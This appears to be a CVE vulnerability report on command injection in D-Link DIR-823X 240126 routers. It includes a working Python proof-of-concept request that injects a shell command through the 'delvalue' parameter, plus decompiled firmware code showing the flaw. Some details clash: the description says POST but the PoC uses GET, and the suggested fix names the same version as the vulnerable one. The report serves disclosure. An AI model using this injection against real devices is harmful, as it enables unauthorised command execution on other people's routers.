

CVE Report - Command Injection Vulnerability in D-Link DIR-823X 240126 Routers

Vulnerability Title

Command Injection Vulnerability in D-Link DIR-823X 240126 Router.

Vulnerability Description

D-Link DIR-823X 240126 devices have an OS command injection vulnerability in the goahead binary, which allows remote attackers to execute arbitrary commands via parameter "delvalue" in /goform/delete_prohibiting through a POST request.

PoC

```
# coding=gbk
import socket
import base64
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print("start")

target = "192.168.0.1"
s.connect(('192.168.0.1', 80))
cmd = "/goform/delete_prohibiting?delvalue=`touch${IFS}/1.txt`"
request = f"GET {cmd} HTTP/1.1\r\nHost: {target}\r\nUpgrade-
Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0;
win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/111.0.5563.65 Safari/537.36\r\nAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7\r\nAccept-Encoding: gzip, deflate\r\nAccept-
Language: zh-CN,zh;q=0.9\r\nConnection: close\r\n\r\n"
print(request)
s.send(request.encode('utf-8'))
response = s.recv(1024)
```

```
print(response)
s.close()
```

Cause Analysis

The WebsGetvar function accepts external data and it enters system execution, resulting in a command execution vulnerability.

```
__int64 __fastcall sub_420224(__int64 a1)
{
    char *v2; // x22
    int v3; // w21
    char nptr[8]; // [xsp+40h] [xbp+40h] BYREF
    char s[64]; // [xsp+48h] [xbp+48h] BYREF
    __int64 v7; // [xsp+88h] [xbp+88h]

    v2 = WebsGetvar(a1, (__int64)"delvalue", (__int64) "");
    s_popen("firewall.@filtering[0].numentrys", nptr, 4, "");
    v3 = atoi(nptr);
    if ( *v2 )
    {
        snprintf(s, 0x40uLL, "uci delete firewall.@rule[%s]", v2);
        system(s);
    }
}
```

Suggested Fix

It is recommended to update to the version of D-Link DIR-823X 240126 router to fix this vulnerability.